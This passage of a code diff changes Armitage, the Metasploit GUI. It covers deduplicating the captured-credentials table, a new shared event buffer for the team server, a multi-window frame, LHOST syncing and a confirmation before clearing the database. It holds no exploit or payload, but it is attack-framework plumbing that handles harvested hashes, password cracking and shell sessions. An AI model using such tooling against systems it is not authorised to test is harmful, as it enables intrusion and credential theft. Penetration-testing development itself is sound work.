|
[$model addEntry: $cred];
|
||||||
|
%check[$key] = 1;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
[$model fireListeners];
|
||||||
|
}, $model => $1, $title => $2));
|
||||||
|
}
|
||||||
|
|
||||||
|
sub refreshCredsTableLocal {
|
||||||
|
thread(lambda({
|
||||||
|
[Thread yield];
|
||||||
|
local('$creds $cred $desc $aclient %check $key');
|
||||||
|
[$model clear: 128];
|
||||||
|
$creds = call($client, "db.creds2", [new HashMap])["creds2"];
|
||||||
foreach $cred ($creds) {
|
foreach $cred ($creds) {
|
||||||
if ($title ne "login" || $cred['ptype'] ne "smb_hash") {
|
$key = join("~~", values($cred, @("user", "pass", "host")));
|
||||||
|
if ($key in %check) {
|
||||||
|
}
|
||||||
|
else if ($title ne "login" || $cred['ptype'] ne "smb_hash") {
|
||||||
[$model addEntry: $cred];
|
[$model addEntry: $cred];
|
||||||
|
%check[$key] = 1;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
[$model fireListeners];
|
[$model fireListeners];
|
||||||
|
@ -71,7 +97,7 @@ sub refreshCredsTable {
|
||||||
}
|
}
|
||||||
|
|
||||||
sub show_hashes {
|
sub show_hashes {
|
||||||
local('$dialog $model $table $sorter $o $user $pass $button $reverse $domain $scroll');
|
local('$dialog $model $table $sorter $o $user $pass $button $reverse $domain $scroll $3');
|
||||||
|
|
||||||
$dialog = dialog($1, 480, $2);
|
$dialog = dialog($1, 480, $2);
|
||||||
|
|
||||||
|
@ -83,7 +109,12 @@ sub show_hashes {
|
||||||
[$sorter setComparator: 2, &compareHosts];
|
[$sorter setComparator: 2, &compareHosts];
|
||||||
[$table setRowSorter: $sorter];
|
[$table setRowSorter: $sorter];
|
||||||
|
|
||||||
refreshCredsTable($model, $1);
|
if ($3) {
|
||||||
|
refreshCredsTableLocal($model, $1);
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
refreshCredsTable($model, $1);
|
||||||
|
}
|
||||||
|
|
||||||
$scroll = [new JScrollPane: $table];
|
$scroll = [new JScrollPane: $table];
|
||||||
[$scroll setPreferredSize: [new Dimension: 480, 130]];
|
[$scroll setPreferredSize: [new Dimension: 480, 130]];
|
||||||
|
@ -94,7 +125,7 @@ sub show_hashes {
|
||||||
|
|
||||||
sub createCredentialsTab {
|
sub createCredentialsTab {
|
||||||
local('$dialog $table $model $panel $export $crack $refresh');
|
local('$dialog $table $model $panel $export $crack $refresh');
|
||||||
($dialog, $table, $model) = show_hashes("", 320);
|
($dialog, $table, $model) = show_hashes("", 320, 1);
|
||||||
[$dialog removeAll];
|
[$dialog removeAll];
|
||||||
|
|
||||||
addMouseListener($table, lambda({
|
addMouseListener($table, lambda({
|
||||||
|
@ -131,7 +162,7 @@ sub createCredentialsTab {
|
||||||
|
|
||||||
$refresh = [new JButton: "Refresh"];
|
$refresh = [new JButton: "Refresh"];
|
||||||
[$refresh addActionListener: lambda({
|
[$refresh addActionListener: lambda({
|
||||||
refreshCredsTable($model, $null);
|
refreshCredsTableLocal($model, $null);
|
||||||
}, \$model)];
|
}, \$model)];
|
||||||
|
|
||||||
$crack = [new JButton: "Crack Passwords"];
|
$crack = [new JButton: "Crack Passwords"];
|
||||||
|
|
|
@ -107,10 +107,10 @@ sub pivot_dialog {
|
||||||
}
|
}
|
||||||
|
|
||||||
local('$dialog $model $table $sorter $center $a $route $button');
|
local('$dialog $model $table $sorter $center $a $route $button');
|
||||||
$dialog = [new JDialog: $frame, $title, 0];
|
$dialog = [new JDialog: $__frame__, $title, 0];
|
||||||
[$dialog setSize: 320, 240];
|
[$dialog setSize: 320, 240];
|
||||||
[$dialog setLayout: [new BorderLayout]];
|
[$dialog setLayout: [new BorderLayout]];
|
||||||
[$dialog setLocationRelativeTo: $frame];
|
[$dialog setLocationRelativeTo: $__frame__];
|
||||||
|
|
||||||
[$dialog setLayout: [new BorderLayout]];
|
[$dialog setLayout: [new BorderLayout]];
|
||||||
|
|
||||||
|
|
|
@ -57,12 +57,21 @@ sub parseYaml {
|
||||||
sub loadPreferences {
|
sub loadPreferences {
|
||||||
local('$file $prefs');
|
local('$file $prefs');
|
||||||
$file = getFileProper(systemProperties()["user.home"], ".armitage.prop");
|
$file = getFileProper(systemProperties()["user.home"], ".armitage.prop");
|
||||||
$prefs = [new Properties];
|
if ($__frame__ !is $null && [$__frame__ getPreferences] !is $null) {
|
||||||
if (-exists $file) {
|
$prefs = [$__frame__ getPreferences];
|
||||||
[$prefs load: [new java.io.FileInputStream: $file]];
|
|
||||||
}
|
}
|
||||||
else {
|
else {
|
||||||
[$prefs load: resource("resources/armitage.prop")];
|
$prefs = [new Properties];
|
||||||
|
if (-exists $file) {
|
||||||
|
[$prefs load: [new java.io.FileInputStream: $file]];
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
[$prefs load: resource("resources/armitage.prop")];
|
||||||
|
}
|
||||||
|
|
||||||
|
if ($__frame__ !is $null) {
|
||||||
|
[$__frame__ setPreferences: $prefs];
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
# parse command line options here.
|
# parse command line options here.
|
||||||
|
|
|
@ -182,28 +182,21 @@ sub queryData {
|
||||||
[$progress setProgress: 30];
|
[$progress setProgress: 30];
|
||||||
}
|
}
|
||||||
|
|
||||||
# 4. clients
|
# 4. sessions...
|
||||||
%r['clients'] = call($mclient, "db.clients")["clients"];
|
|
||||||
|
|
||||||
if ($progress) {
|
|
||||||
[$progress setProgress: 35];
|
|
||||||
}
|
|
||||||
|
|
||||||
# 5. sessions...
|
|
||||||
%r['sessions'] = fixSessions(call($mclient, "db.sessions")["sessions"]);
|
%r['sessions'] = fixSessions(call($mclient, "db.sessions")["sessions"]);
|
||||||
|
|
||||||
if ($progress) {
|
if ($progress) {
|
||||||
[$progress setProgress: 36];
|
[$progress setProgress: 36];
|
||||||
}
|
}
|
||||||
|
|
||||||
# 6. timeline
|
# 5. timeline
|
||||||
%r['timeline'] = fixTimeline(call($mclient, "db.events")['events']);
|
%r['timeline'] = fixTimeline(call($mclient, "db.events")['events']);
|
||||||
|
|
||||||
if ($progress) {
|
if ($progress) {
|
||||||
[$progress setProgress: 38];
|
[$progress setProgress: 38];
|
||||||
}
|
}
|
||||||
|
|
||||||
# 7. hosts and services
|
# 6. hosts and services
|
||||||
local('@hosts @services $temp $h $s $x');
|
local('@hosts @services $temp $h $s $x');
|
||||||
call($mclient, "armitage.prep_export", $1);
|
call($mclient, "armitage.prep_export", $1);
|
||||||
|
|
||||||
|
@ -291,32 +284,27 @@ sub _generateArtifacts {
|
||||||
|
|
||||||
[$progress setProgress: 65];
|
[$progress setProgress: 65];
|
||||||
|
|
||||||
# 4. clients
|
# 4. hosts
|
||||||
dumpData("clients", @("host", "created_at", "updated_at", "ua_name", "ua_ver", "ua_string"), %data['clients']);
|
|
||||||
|
|
||||||
[$progress setProgress: 70];
|
|
||||||
|
|
||||||
# 5. hosts
|
|
||||||
dumpData("hosts", @("address", "mac", "state", "address", "address6", "name", "purpose", "info", "os_name", "os_flavor", "os_sp", "os_lang", "os_match", "created_at", "updated_at"), %data['hosts']);
|
dumpData("hosts", @("address", "mac", "state", "address", "address6", "name", "purpose", "info", "os_name", "os_flavor", "os_sp", "os_lang", "os_match", "created_at", "updated_at"), %data['hosts']);
|
||||||
|
|
||||||
[$progress setProgress: 80];
|
[$progress setProgress: 80];
|
||||||
|
|
||||||
# 6. services
|
# 5. services
|
||||||
dumpData("services", @("host", "port", "state", "proto", "name", "created_at", "updated_at", "info"), %data['services']);
|
dumpData("services", @("host", "port", "state", "proto", "name", "created_at", "updated_at", "info"), %data['services']);
|
||||||
|
|
||||||
[$progress setProgress: 90];
|
[$progress setProgress: 90];
|
||||||
|
|
||||||
# 7. sessions
|
# 6. sessions
|
||||||
dumpData("sessions", @("host", "local_id", "stype", "platform", "via_payload", "via_exploit", "opened_at", "last_seen", "closed_at", "close_reason"), %data['sessions']);
|
dumpData("sessions", @("host", "local_id", "stype", "platform", "via_payload", "via_exploit", "opened_at", "last_seen", "closed_at", "close_reason"), %data['sessions']);
|
||||||
|
|
||||||
[$progress setProgress: 93];
|
[$progress setProgress: 93];
|
||||||
|
|
||||||
# 8. timeline
|
# 7. timeline
|
||||||
dumpData("timeline", @("source", "username", "created_at", "info"), %data['timeline']);
|
dumpData("timeline", @("source", "username", "created_at", "info"), %data['timeline']);
|
||||||
|
|
||||||
[$progress setProgress: 96];
|
[$progress setProgress: 96];
|
||||||
|
|
||||||
# 9. take a pretty screenshot of the graph view...
|
# 8. take a pretty screenshot of the graph view...
|
||||||
[$progress setNote: "host picture :)"];
|
[$progress setNote: "host picture :)"];
|
||||||
|
|
||||||
makeScreenshot("hosts.png");
|
makeScreenshot("hosts.png");
|
||||||
|
@ -330,7 +318,7 @@ sub _generateArtifacts {
|
||||||
|
|
||||||
fire_event_async("user_export", %data);
|
fire_event_async("user_export", %data);
|
||||||
|
|
||||||
return getFileProper(dataDirectory(), formatDate("yyMMdd"), "artifacts");
|
return getFileProper(dataDirectory(), formatDate("yyMMdd"), $DESCRIBE, "artifacts");
|
||||||
}
|
}
|
||||||
|
|
||||||
#
|
#
|
||||||
|
@ -368,8 +356,6 @@ sub api_export_data {
|
||||||
}
|
}
|
||||||
|
|
||||||
sub initReporting {
|
sub initReporting {
|
||||||
global('$poll_lock @events'); # set in the dserver, not in stand-alone Armitage
|
|
||||||
|
|
||||||
wait(fork({
|
wait(fork({
|
||||||
global('$db');
|
global('$db');
|
||||||
[$client addHook: "armitage.export_data", &api_export_data];
|
[$client addHook: "armitage.export_data", &api_export_data];
|
||||||
|
|
|
@ -35,9 +35,7 @@ sub result {
|
||||||
sub event {
|
sub event {
|
||||||
local('$result');
|
local('$result');
|
||||||
$result = formatDate("HH:mm:ss") . " $1";
|
$result = formatDate("HH:mm:ss") . " $1";
|
||||||
acquire($poll_lock);
|
[$events put: $result];
|
||||||
push(@events, $result);
|
|
||||||
release($poll_lock);
|
|
||||||
}
|
}
|
||||||
|
|
||||||
sub client {
|
sub client {
|
||||||
|
@ -96,16 +94,6 @@ sub client {
|
||||||
[[$handle getOutputStream] flush];
|
[[$handle getOutputStream] flush];
|
||||||
}
|
}
|
||||||
|
|
||||||
# limit our replay of the event log to 100 events...
|
|
||||||
acquire($poll_lock);
|
|
||||||
if (size(@events) > 100) {
|
|
||||||
$index = size(@events) - 100;
|
|
||||||
}
|
|
||||||
else {
|
|
||||||
$index = 0;
|
|
||||||
}
|
|
||||||
release($poll_lock);
|
|
||||||
|
|
||||||
#
|
#
|
||||||
# on our merry way processing it...
|
# on our merry way processing it...
|
||||||
#
|
#
|
||||||
|
@ -183,33 +171,30 @@ sub client {
|
||||||
else if ($method eq "armitage.log") {
|
else if ($method eq "armitage.log") {
|
||||||
($data, $address) = $args;
|
($data, $address) = $args;
|
||||||
event("* $eid $data $+ \n");
|
event("* $eid $data $+ \n");
|
||||||
|
if ($address is $null) {
|
||||||
|
$address = [$client getLocalAddress];
|
||||||
|
}
|
||||||
call_async($client, "db.log_event", "$address $+ // $+ $eid", $data);
|
call_async($client, "db.log_event", "$address $+ // $+ $eid", $data);
|
||||||
writeObject($handle, result(%()));
|
writeObject($handle, result(%()));
|
||||||
}
|
}
|
||||||
else if ($method eq "armitage.skip") {
|
else if ($method eq "armitage.skip") {
|
||||||
acquire($poll_lock);
|
[$events get: $eid];
|
||||||
$index = size(@events);
|
|
||||||
release($poll_lock);
|
|
||||||
writeObject($handle, result(%()));
|
writeObject($handle, result(%()));
|
||||||
}
|
}
|
||||||
else if ($method eq "armitage.poll" || $method eq "armitage.push") {
|
else if ($method eq "armitage.poll" || $method eq "armitage.push") {
|
||||||
acquire($poll_lock);
|
|
||||||
if ($method eq "armitage.push") {
|
if ($method eq "armitage.push") {
|
||||||
($null, $data) = $args;
|
($null, $data) = $args;
|
||||||
foreach $temp (split("\n", $data)) {
|
foreach $temp (split("\n", $data)) {
|
||||||
push(@events, formatDate("HH:mm:ss") . " < $+ $[10]eid $+ > " . $data);
|
[$events put: formatDate("HH:mm:ss") . " < $+ $[10]eid $+ > " . $data];
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
if (size(@events) > $index) {
|
$rv = result(%(data => [$events get: $eid], encoding => "base64", prompt => "$eid $+ > "));
|
||||||
$rv = result(%(data => join("", sublist(@events, $index)), encoding => "base64", prompt => "$eid $+ > "));
|
writeObject($handle, $rv);
|
||||||
$index = size(@events);
|
}
|
||||||
}
|
else if ($method eq "armitage.lusers") {
|
||||||
else {
|
$rv = [new HashMap];
|
||||||
$rv = result(%(data => "", prompt => "$eid $+ > ", encoding => "base64"));
|
[$rv put: "lusers", [$events clients]];
|
||||||
}
|
|
||||||
release($poll_lock);
|
|
||||||
|
|
||||||
writeObject($handle, $rv);
|
writeObject($handle, $rv);
|
||||||
}
|
}
|
||||||
else if ($method eq "armitage.append") {
|
else if ($method eq "armitage.append") {
|
||||||
|
@ -308,6 +293,10 @@ sub client {
|
||||||
$response = [$client execute: $method, cast($args, ^Object)];
|
$response = [$client execute: $method, cast($args, ^Object)];
|
||||||
writeObject($handle, $response);
|
writeObject($handle, $response);
|
||||||
}
|
}
|
||||||
|
else if ($method eq "module.execute_direct") {
|
||||||
|
$response = [$client execute: "module.execute", cast($args, ^Object)];
|
||||||
|
writeObject($handle, $response);
|
||||||
|
}
|
||||||
else if ($method in %async) {
|
else if ($method in %async) {
|
||||||
if ($args) {
|
if ($args) {
|
||||||
[$client execute_async: $method, cast($args, ^Object)];
|
[$client execute_async: $method, cast($args, ^Object)];
|
||||||
|
@ -333,6 +322,7 @@ sub client {
|
||||||
|
|
||||||
if ($eid !is $null) {
|
if ($eid !is $null) {
|
||||||
event("*** $eid left.\n");
|
event("*** $eid left.\n");
|
||||||
|
[$events free: $eid];
|
||||||
}
|
}
|
||||||
|
|
||||||
# reset the user's filter...
|
# reset the user's filter...
|
||||||
|
@ -355,7 +345,7 @@ sub client {
|
||||||
|
|
||||||
sub main {
|
sub main {
|
||||||
global('$client $mclient');
|
global('$client $mclient');
|
||||||
local('$server %sessions $sess_lock $read_lock $poll_lock $lock_lock %locks %readq $id @events $error $auth %cache $cach_lock $client_cache $handle $console');
|
local('$server %sessions $sess_lock $read_lock $lock_lock %locks %readq $id $error $auth %cache $cach_lock $client_cache $handle $console $events');
|
||||||
|
|
||||||
$auth = unpack("H*", digest(rand() . ticks(), "MD5"))[0];
|
$auth = unpack("H*", digest(rand() . ticks(), "MD5"))[0];
|
||||||
|
|
||||||
|
@ -413,10 +403,12 @@ sub main {
|
||||||
#
|
#
|
||||||
$sess_lock = semaphore(1);
|
$sess_lock = semaphore(1);
|
||||||
$read_lock = semaphore(1);
|
$read_lock = semaphore(1);
|
||||||
$poll_lock = semaphore(1);
|
|
||||||
$lock_lock = semaphore(1);
|
$lock_lock = semaphore(1);
|
||||||
$cach_lock = semaphore(1);
|
$cach_lock = semaphore(1);
|
||||||
|
|
||||||
|
# setup any shared buffers...
|
||||||
|
$events = [new armitage.ArmitageBuffer: 250];
|
||||||
|
|
||||||
# set the LHOST to whatever the user specified (use console.write to make the string not UTF-8)
|
# set the LHOST to whatever the user specified (use console.write to make the string not UTF-8)
|
||||||
$console = createConsole($client);
|
$console = createConsole($client);
|
||||||
call($client, "console.write", $console, "setg LHOST $host $+ \n");
|
call($client, "console.write", $console, "setg LHOST $host $+ \n");
|
||||||
|
@ -424,6 +416,9 @@ sub main {
|
||||||
# absorb the output of this command which is LHOST => ...
|
# absorb the output of this command which is LHOST => ...
|
||||||
call($client, "console.read", $console);
|
call($client, "console.read", $console);
|
||||||
|
|
||||||
|
# update server's understanding of this value...
|
||||||
|
call($client, "armitage.set_ip", $host);
|
||||||
|
|
||||||
#
|
#
|
||||||
# create a thread to push console messages to the event queue for all clients.
|
# create a thread to push console messages to the event queue for all clients.
|
||||||
#
|
#
|
||||||
|
@ -433,12 +428,10 @@ sub main {
|
||||||
sleep(2000);
|
sleep(2000);
|
||||||
$r = call($client, "console.read", $console);
|
$r = call($client, "console.read", $console);
|
||||||
if ($r["data"] ne "") {
|
if ($r["data"] ne "") {
|
||||||
acquire($poll_lock);
|
[$events put: formatDate("HH:mm:ss") . " " . $r["data"]];
|
||||||
push(@events, formatDate("HH:mm:ss") . " " . $r["data"]);
|
|
||||||
release($poll_lock);
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}, \$client, \$poll_lock, \@events, \$console);
|
}, \$client, \$events, \$console);
|
||||||
|
|
||||||
#
|
#
|
||||||
# Create a shared hash that contains a thread for each session...
|
# Create a shared hash that contains a thread for each session...
|
||||||
|
@ -535,7 +528,7 @@ service framework-postgres start");
|
||||||
$handle = [$server accept];
|
$handle = [$server accept];
|
||||||
if ($handle !is $null) {
|
if ($handle !is $null) {
|
||||||
%readq[$id] = %();
|
%readq[$id] = %();
|
||||||
fork(&client, \$client, \$handle, \%sessions, \$read_lock, \$sess_lock, \$poll_lock, $queue => %readq[$id], \$id, \@events, \$auth, \%locks, \$lock_lock, \$cach_lock, \%cache, \$motd, \$client_cache, $_user => $user, $_pass => $pass);
|
fork(&client, \$client, \$handle, \%sessions, \$read_lock, \$sess_lock, $queue => %readq[$id], \$id, \$events, \$auth, \%locks, \$lock_lock, \$cach_lock, \%cache, \$motd, \$client_cache, $_user => $user, $_pass => $pass);
|
||||||
|
|
||||||
$id++;
|
$id++;
|
||||||
}
|
}
|
||||||
|
|
|
@ -290,7 +290,7 @@ sub createShellSessionTab {
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
|
|
||||||
$thread = [new ConsoleClient: $console, $client, "session.shell_read", "session.shell_write", $null, $sid, 0];
|
$thread = [new ConsoleClient: $console, rand(@POOL), "session.shell_read", "session.shell_write", $null, $sid, 0];
|
||||||
[$frame addTab: "Shell $sid", $console, lambda({
|
[$frame addTab: "Shell $sid", $console, lambda({
|
||||||
call_async($mclient, "armitage.unlock", $sid);
|
call_async($mclient, "armitage.unlock", $sid);
|
||||||
[$thread kill];
|
[$thread kill];
|
||||||
|
|
|
@ -193,6 +193,11 @@ on hosts {
|
||||||
$address = $host['address'];
|
$address = $host['address'];
|
||||||
if ($address in %hosts && size(%hosts[$address]) > 1) {
|
if ($address in %hosts && size(%hosts[$address]) > 1) {
|
||||||
%newh[$address] = %hosts[$address];
|
%newh[$address] = %hosts[$address];
|
||||||
|
|
||||||
|
# set the label to empty b/c team server won't add labels if there are no labels. This fixes
|
||||||
|
# a corner case where a user might clear all labels and find they won't go away
|
||||||
|
%newh[$address]['label'] = '';
|
||||||
|
|
||||||
putAll(%newh[$address], keys($host), values($host));
|
putAll(%newh[$address], keys($host), values($host));
|
||||||
|
|
||||||
if ($host['os_name'] eq "") {
|
if ($host['os_name'] eq "") {
|
||||||
|
@ -262,7 +267,7 @@ sub _importHosts {
|
||||||
}
|
}
|
||||||
|
|
||||||
$console = createDisplayTab("Import", $file => "import");
|
$console = createDisplayTab("Import", $file => "import");
|
||||||
[$console addCommand: $null, "db_import " . strrep(join(" ", $files), "\\", "\\\\")];
|
[$console addCommand: 'x', "db_import " . strrep(join(" ", $files), "\\", "\\\\")];
|
||||||
[$console addListener: lambda({
|
[$console addListener: lambda({
|
||||||
elog("imported hosts from $success file" . iff($success != 1, "s"));
|
elog("imported hosts from $success file" . iff($success != 1, "s"));
|
||||||
}, \$success)];
|
}, \$success)];
|
||||||
|
@ -346,8 +351,10 @@ sub clearHostFunction {
|
||||||
}
|
}
|
||||||
|
|
||||||
sub clearDatabase {
|
sub clearDatabase {
|
||||||
elog("cleared the database");
|
if (!askYesNo("This action will clear the database. You will lose all information\ncollected up to this point. You will not be able toget it back.\nWould you like to clear the database?", "Clear Database")) {
|
||||||
call_async($mclient, "db.clear");
|
elog("cleared the database");
|
||||||
|
call_async($mclient, "db.clear");
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
# called when a target is clicked on...
|
# called when a target is clicked on...
|
||||||
|
|
|
@ -78,7 +78,7 @@ sub setupEventStyle {
|
||||||
|
|
||||||
sub createDisplayTab {
|
sub createDisplayTab {
|
||||||
local('$console $host $queue $file');
|
local('$console $host $queue $file');
|
||||||
$queue = [new ConsoleQueue: $client];
|
$queue = [new ConsoleQueue: rand(@POOL)];
|
||||||
if ($1 eq "Log Keystrokes") {
|
if ($1 eq "Log Keystrokes") {
|
||||||
$console = [new ActivityConsole: $preferences];
|
$console = [new ActivityConsole: $preferences];
|
||||||
}
|
}
|
||||||
|
@ -100,7 +100,7 @@ sub createConsolePanel {
|
||||||
setupConsoleStyle($console);
|
setupConsoleStyle($console);
|
||||||
|
|
||||||
$result = call($client, "console.create");
|
$result = call($client, "console.create");
|
||||||
$thread = [new ConsoleClient: $console, $aclient, "console.read", "console.write", "console.destroy", $result['id'], $1];
|
$thread = [new ConsoleClient: $console, rand(@POOL), "console.read", "console.write", "console.destroy", $result['id'], $1];
|
||||||
[$thread setMetasploitConsole];
|
[$thread setMetasploitConsole];
|
||||||
|
|
||||||
[$thread setSessionListener: {
|
[$thread setSessionListener: {
|
||||||
|
@ -151,6 +151,11 @@ sub createConsoleTab {
|
||||||
}
|
}
|
||||||
|
|
||||||
sub setg {
|
sub setg {
|
||||||
|
# update team server's understanding of LHOST
|
||||||
|
if ($1 eq "LHOST") {
|
||||||
|
call_async($client, "armitage.set_ip", $2);
|
||||||
|
}
|
||||||
|
|
||||||
%MSF_GLOBAL[$1] = $2;
|
%MSF_GLOBAL[$1] = $2;
|
||||||
local('$c');
|
local('$c');
|
||||||
$c = createConsole($client);
|
$c = createConsole($client);
|
||||||
|
@ -381,7 +386,7 @@ sub connectDialog {
|
||||||
$msfrpc_handle = $null;
|
$msfrpc_handle = $null;
|
||||||
}
|
}
|
||||||
|
|
||||||
local('$dialog $host $port $ssl $user $pass $button $cancel $start $center $help $helper');
|
local('$dialog $host $port $ssl $user $pass $button $start $center $help $helper');
|
||||||
$dialog = window("Connect...", 0, 0);
|
$dialog = window("Connect...", 0, 0);
|
||||||
|
|
||||||
# setup our nifty form fields..
|
# setup our nifty form fields..
|
||||||
|
@ -398,8 +403,6 @@ sub connectDialog {
|
||||||
$help = [new JButton: "Help"];
|
$help = [new JButton: "Help"];
|
||||||
[$help setToolTipText: "<html>Use this button to view the Getting Started Guide on the Armitage homepage</html>"];
|
[$help setToolTipText: "<html>Use this button to view the Getting Started Guide on the Armitage homepage</html>"];
|
||||||
|
|
||||||
$cancel = [new JButton: "Exit"];
|
|
||||||
|
|
||||||
# lay them out
|
# lay them out
|
||||||
|
|
||||||
$center = [new JPanel];
|
$center = [new JPanel];
|
||||||
|
@ -422,9 +425,14 @@ sub connectDialog {
|
||||||
($h, $p, $u, $s) = @o;
|
($h, $p, $u, $s) = @o;
|
||||||
|
|
||||||
[$dialog setVisible: 0];
|
[$dialog setVisible: 0];
|
||||||
connectToMetasploit($h, $p, $u, $s);
|
|
||||||
|
|
||||||
if ($h eq "127.0.0.1" || $h eq "::1" || $h eq "localhost") {
|
if ($h eq "127.0.0.1" || $h eq "::1" || $h eq "localhost") {
|
||||||
|
if ($__frame__ && [$__frame__ checkLocal]) {
|
||||||
|
showError("You can't connect to localhost twice");
|
||||||
|
[$dialog setVisible: 1];
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
try {
|
try {
|
||||||
closef(connect("127.0.0.1", $p, 1000));
|
closef(connect("127.0.0.1", $p, 1000));
|
||||||
}
|
}
|
||||||
|
@ -434,37 +442,33 @@ sub connectDialog {
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
connectToMetasploit($h, $p, $u, $s);
|
||||||
}, \$dialog, \$host, \$port, \$user, \$pass)];
|
}, \$dialog, \$host, \$port, \$user, \$pass)];
|
||||||
|
|
||||||
[$help addActionListener: gotoURL("http://www.fastandeasyhacking.com/start")];
|
[$help addActionListener: gotoURL("http://www.fastandeasyhacking.com/start")];
|
||||||
|
|
||||||
[$cancel addActionListener: {
|
|
||||||
[System exit: 0];
|
|
||||||
}];
|
|
||||||
|
|
||||||
[$dialog pack];
|
[$dialog pack];
|
||||||
[$dialog setLocationRelativeTo: $null];
|
[$dialog setLocationRelativeTo: $null];
|
||||||
[$dialog setVisible: 1];
|
[$dialog setVisible: 1];
|
||||||
}
|
}
|
||||||
|
|
||||||
sub _elog {
|
sub elog {
|
||||||
|
local('$2');
|
||||||
if ($client !is $mclient) {
|
if ($client !is $mclient) {
|
||||||
|
# $2 can be NULL here. team server will populate it...
|
||||||
call_async($mclient, "armitage.log", $1, $2);
|
call_async($mclient, "armitage.log", $1, $2);
|
||||||
}
|
}
|
||||||
else {
|
else {
|
||||||
|
# since we're not on a team server, no one else will have
|
||||||
|
# overwritten LHOST, so we can trust $MY_ADDRESS to be current
|
||||||
|
if ($2 is $null) {
|
||||||
|
$2 = $MY_ADDRESS;
|
||||||
|
}
|
||||||
call_async($client, "db.log_event", "$2 $+ //", $1);
|
call_async($client, "db.log_event", "$2 $+ //", $1);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
sub elog {
|
|
||||||
local('$2');
|
|
||||||
if ($2 is $null) {
|
|
||||||
$2 = $MY_ADDRESS;
|
|
||||||
}
|
|
||||||
|
|
||||||
_elog($1, $2);
|
|
||||||
}
|
|
||||||
|
|
||||||
sub module_execute {
|
sub module_execute {
|
||||||
return invoke(&_module_execute, filter_data_array("user_launch", @_));
|
return invoke(&_module_execute, filter_data_array("user_launch", @_));
|
||||||
}
|
}
|
||||||
|
|
|
@ -13,13 +13,32 @@ import cortana.gui.MenuBuilder;
|
||||||
|
|
||||||
import ui.*;
|
import ui.*;
|
||||||
|
|
||||||
public class ArmitageApplication extends JFrame {
|
public class ArmitageApplication extends JComponent {
|
||||||
protected JTabbedPane tabs = null;
|
protected JTabbedPane tabs = null;
|
||||||
protected JSplitPane split = null;
|
protected JSplitPane split = null;
|
||||||
protected JMenuBar menus = new JMenuBar();
|
protected JMenuBar menus = new JMenuBar();
|
||||||
protected ScreenshotManager screens = null;
|
protected ScreenshotManager screens = null;
|
||||||
protected KeyBindings keys = new KeyBindings();
|
protected KeyBindings keys = new KeyBindings();
|
||||||
protected MenuBuilder builder = null;
|
protected MenuBuilder builder = null;
|
||||||
|
protected String title = "";
|
||||||
|
protected MultiFrame window = null;
|
||||||
|
|
||||||
|
public KeyBindings getBindings() {
|
||||||
|
return keys;
|
||||||
|
}
|
||||||
|
|
||||||
|
public void setTitle(String title) {
|
||||||
|
this.title = title;
|
||||||
|
window.setTitle(this, title);
|
||||||
|
}
|
||||||
|
|
||||||
|
public String getTitle() {
|
||||||
|
return title;
|
||||||
|
}
|
||||||
|
|
||||||
|
public void setIconImage(Image blah) {
|
||||||
|
window.setIconImage(blah);
|
||||||
|
}
|
||||||
|
|
||||||
public void setScreenshotManager(ScreenshotManager m) {
|
public void setScreenshotManager(ScreenshotManager m) {
|
||||||
screens = m;
|
screens = m;
|
||||||
|
@ -192,7 +211,7 @@ public class ArmitageApplication extends JFrame {
|
||||||
|
|
||||||
/* pop goes the tab! */
|
/* pop goes the tab! */
|
||||||
final JFrame r = new JFrame(t.title);
|
final JFrame r = new JFrame(t.title);
|
||||||
r.setIconImages(getIconImages());
|
//r.setIconImages(getIconImages());
|
||||||
r.setLayout(new BorderLayout());
|
r.setLayout(new BorderLayout());
|
||||||
r.add(t.component, BorderLayout.CENTER);
|
r.add(t.component, BorderLayout.CENTER);
|
||||||
r.pack();
|
r.pack();
|
||||||
|
@ -366,8 +385,20 @@ public class ArmitageApplication extends JFrame {
|
||||||
component.requestFocusInWindow();
|
component.requestFocusInWindow();
|
||||||
}
|
}
|
||||||
|
|
||||||
public ArmitageApplication() {
|
public void touch() {
|
||||||
|
Component c = tabs.getSelectedComponent();
|
||||||
|
if (c == null)
|
||||||
|
return;
|
||||||
|
|
||||||
|
if (c instanceof Activity)
|
||||||
|
((Activity)c).resetNotification();
|
||||||
|
|
||||||
|
c.requestFocusInWindow();
|
||||||
|
}
|
||||||
|
|
||||||
|
public ArmitageApplication(MultiFrame f, String details, msf.RpcConnection conn) {
|
||||||
super();
|
super();
|
||||||
|
window = f;
|
||||||
tabs = new DraggableTabbedPane();
|
tabs = new DraggableTabbedPane();
|
||||||
setLayout(new BorderLayout());
|
setLayout(new BorderLayout());
|
||||||
|
|
||||||
|
@ -383,10 +414,8 @@ public class ArmitageApplication extends JFrame {
|
||||||
/* add our tabbed pane */
|
/* add our tabbed pane */
|
||||||
add(split, BorderLayout.CENTER);
|
add(split, BorderLayout.CENTER);
|
||||||
|
|
||||||
/* setup our key bindings */
|
|
||||||
KeyboardFocusManager.getCurrentKeyboardFocusManager().addKeyEventDispatcher(keys);
|
|
||||||
|
|
||||||
/* ... */
|
/* ... */
|
||||||
setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);
|
//setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);
|
||||||
|
((ui.MultiFrame)window).addButton(details, this, conn);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
|
@ -0,0 +1,138 @@
|
||||||
|
package armitage;
|
||||||
|
|
||||||
|
import java.util.*;
|
||||||
|
|
||||||
|
/*
|
||||||
|
* Implement a thread safe store that any client may write to and
|
||||||
|
* any client may read from (keeping track of their cursor into
|
||||||
|
* the console)
|
||||||
|
*/
|
||||||
|
public class ArmitageBuffer {
|
||||||
|
private static final class Message {
|
||||||
|
public String message = null;
|
||||||
|
public Message next = null;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* store our messages... */
|
||||||
|
public Message first = null;
|
||||||
|
public Message last = null;
|
||||||
|
public long size = 0;
|
||||||
|
